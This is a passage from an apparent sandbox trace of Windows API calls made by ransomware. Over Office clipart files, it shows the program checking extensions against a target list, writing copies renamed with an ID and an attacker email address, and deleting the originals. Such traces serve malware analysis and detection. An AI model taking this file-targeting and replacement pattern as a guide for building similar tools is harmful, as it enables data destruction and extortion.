Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0272.851] lstrlenW (lpString=".zip") returned 4 [0272.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.852] lstrlenW (lpString=".rar") returned 4 [0272.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.852] lstrlenW (lpString=".bz2") returned 4 [0272.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.852] lstrlenW (lpString=".7z") returned 3 [0272.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0272.852] lstrlenW (lpString=".dbf") returned 4 [0272.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0272.852] lstrlenW (lpString=".1cd") returned 4 [0272.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0272.852] lstrlenW (lpString=".jpg") returned 4 [0272.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.852] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.852] lstrlenW (lpString="FD00369_.WMF") returned 12 [0272.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0272.853] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=8552) returned 1 [0272.853] CloseHandle (hObject=0x30c) returned 1 [0272.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x20 [0272.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0272.853] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.853] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0273.063] GetLastError () returned 0x0 [0273.063] ReadFile (in: hFile=0x30c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x2168, lpOverlapped=0x0) returned 1 [0273.073] WriteFile (in: hFile=0x388, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x2170, lpOverlapped=0x0) returned 1 [0273.074] ReadFile (in: hFile=0x30c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.074] WriteFile (in: hFile=0x388, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.074] SetEndOfFile (hFile=0x388) returned 1 [0273.074] CloseHandle (hObject=0x388) returned 1 [0273.074] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.074] SetEndOfFile (hFile=0x30c) returned 1 [0273.077] CloseHandle (hObject=0x30c) returned 1 [0273.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0273.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0273.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0273.308] lstrlenW (lpString=".doc") returned 4 [0273.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.308] lstrlenW (lpString=".docx") returned 5 [0273.308] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.308] lstrlenW (lpString=".pdf") returned 4 [0273.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.308] lstrlenW (lpString=".xls") returned 4 [0273.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.308] lstrlenW (lpString=".xlsx") returned 5 [0273.308] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.308] lstrlenW (lpString=".ppt") returned 4 [0273.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0273.308] lstrlenW (lpString=".zip") returned 4 [0273.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.308] lstrlenW (lpString=".rar") returned 4 [0273.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.308] lstrlenW (lpString=".bz2") returned 4 [0273.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.309] lstrlenW (lpString=".7z") returned 3 [0273.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0273.309] lstrlenW (lpString=".dbf") returned 4 [0273.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0273.309] lstrlenW (lpString=".1cd") returned 4 [0273.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0273.309] lstrlenW (lpString=".jpg") returned 4 [0273.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0273.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0273.309] lstrlenW (lpString=".doc") returned 4 [0273.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.309] lstrlenW (lpString=".docx") returned 5 [0273.309] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.309] lstrlenW (lpString=".pdf") returned 4 [0273.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.309] lstrlenW (lpString=".xls") returned 4 [0273.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.309] lstrlenW (lpString=".xlsx") returned 5 [0273.309] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.309] lstrlenW (lpString=".ppt") returned 4 [0273.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0273.309] lstrlenW (lpString=".zip") returned 4 [0273.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.309] lstrlenW (lpString=".rar") returned 4 [0273.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.309] lstrlenW (lpString=".bz2") returned 4 [0273.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.310] lstrlenW (lpString=".7z") returned 3 [0273.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0273.310] lstrlenW (lpString=".dbf") returned 4 [0273.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0273.310] lstrlenW (lpString=".1cd") returned 4 [0273.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0273.310] lstrlenW (lpString=".jpg") returned 4 [0273.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.310] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.310] lstrlenW (lpString="FD00564_.WMF") returned 12 [0273.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.311] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=896) returned 1 [0273.311] CloseHandle (hObject=0x38c) returned 1 [0273.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x20 [0273.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.311] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.311] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.311] GetLastError () returned 0x0 [0273.311] ReadFile (in: hFile=0x38c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x380, lpOverlapped=0x0) returned 1 [0273.321] WriteFile (in: hFile=0x354, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x390, lpOverlapped=0x0) returned 1 [0273.321] ReadFile (in: hFile=0x38c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.322] WriteFile (in: hFile=0x354, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.322] SetEndOfFile (hFile=0x354) returned 1 [0273.322] CloseHandle (hObject=0x354) returned 1 [0273.322] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.322] SetEndOfFile (hFile=0x38c) returned 1 [0273.324] CloseHandle (hObject=0x38c) returned 1 [0273.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0273.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0273.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0273.325] lstrlenW (lpString=".doc") returned 4 [0273.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.325] lstrlenW (lpString=".docx") returned 5 [0273.325] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.325] lstrlenW (lpString=".pdf") returned 4 [0273.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.325] lstrlenW (lpString=".xls") returned 4 [0273.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.325] lstrlenW (lpString=".xlsx") returned 5 [0273.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.325] lstrlenW (lpString=".ppt") returned 4 [0273.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0273.325] lstrlenW (lpString=".zip") returned 4 [0273.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.325] lstrlenW (lpString=".rar") returned 4 [0273.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.325] lstrlenW (lpString=".bz2") returned 4 [0273.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.325] lstrlenW (lpString=".7z") returned 3 [0273.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0273.325] lstrlenW (lpString=".dbf") returned 4 [0273.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0273.326] lstrlenW (lpString=".1cd") returned 4 [0273.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0273.326] lstrlenW (lpString=".jpg") returned 4 [0273.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0273.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0273.326] lstrlenW (lpString=".doc") returned 4 [0273.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.326] lstrlenW (lpString=".docx") returned 5 [0273.326] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.326] lstrlenW (lpString=".pdf") returned 4 [0273.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.326] lstrlenW (lpString=".xls") returned 4 [0273.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.326] lstrlenW (lpString=".xlsx") returned 5 [0273.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.326] lstrlenW (lpString=".ppt") returned 4 [0273.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0273.326] lstrlenW (lpString=".zip") returned 4 [0273.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.326] lstrlenW (lpString=".rar") returned 4 [0273.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.326] lstrlenW (lpString=".bz2") returned 4 [0273.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.326] lstrlenW (lpString=".7z") returned 3 [0273.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0273.326] lstrlenW (lpString=".dbf") returned 4 [0273.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0273.327] lstrlenW (lpString=".1cd") returned 4 [0273.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0273.327] lstrlenW (lpString=".jpg") returned 4 [0273.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.327] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.327] lstrlenW (lpString="FD00775_.WMF") returned 12 [0273.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.327] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=11152) returned 1 [0273.327] CloseHandle (hObject=0x38c) returned 1 [0273.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x20 [0273.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.328] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.328] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.328] GetLastError () returned 0x0 [0273.328] ReadFile (in: hFile=0x38c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x2b90, lpOverlapped=0x0) returned 1 [0273.343] WriteFile (in: hFile=0x354, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x2ba0, lpOverlapped=0x0) returned 1 [0273.345] ReadFile (in: hFile=0x38c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.345] WriteFile (in: hFile=0x354, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.345] SetEndOfFile (hFile=0x354) returned 1 [0273.345] CloseHandle (hObject=0x354) returned 1 [0273.345] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.345] SetEndOfFile (hFile=0x38c) returned 1 [0273.348] CloseHandle (hObject=0x38c) returned 1 [0273.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0273.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0273.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0273.370] lstrlenW (lpString=".doc") returned 4 [0273.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.370] lstrlenW (lpString=".docx") returned 5 [0273.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.370] lstrlenW (lpString=".pdf") returned 4 [0273.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.370] lstrlenW (lpString=".xls") returned 4 [0273.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.370] lstrlenW (lpString=".xlsx") returned 5 [0273.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.370] lstrlenW (lpString=".ppt") returned 4 [0273.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0273.371] lstrlenW (lpString=".zip") returned 4 [0273.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.371] lstrlenW (lpString=".rar") returned 4 [0273.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.371] lstrlenW (lpString=".bz2") returned 4 [0273.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.371] lstrlenW (lpString=".7z") returned 3 [0273.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0273.371] lstrlenW (lpString=".dbf") returned 4 [0273.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0273.371] lstrlenW (lpString=".1cd") returned 4 [0273.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0273.371] lstrlenW (lpString=".jpg") returned 4 [0273.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0273.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0273.371] lstrlenW (lpString=".doc") returned 4 [0273.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.371] lstrlenW (lpString=".docx") returned 5 [0273.371] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.371] lstrlenW (lpString=".pdf") returned 4 [0273.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.371] lstrlenW (lpString=".xls") returned 4 [0273.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.371] lstrlenW (lpString=".xlsx") returned 5 [0273.371] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.371] lstrlenW (lpString=".ppt") returned 4 [0273.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0273.372] lstrlenW (lpString=".zip") returned 4 [0273.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.372] lstrlenW (lpString=".rar") returned 4 [0273.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.372] lstrlenW (lpString=".bz2") returned 4 [0273.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.372] lstrlenW (lpString=".7z") returned 3 [0273.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0273.372] lstrlenW (lpString=".dbf") returned 4 [0273.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.372] lstrlenW (lpString="C:\\Program Files\\Microsoft 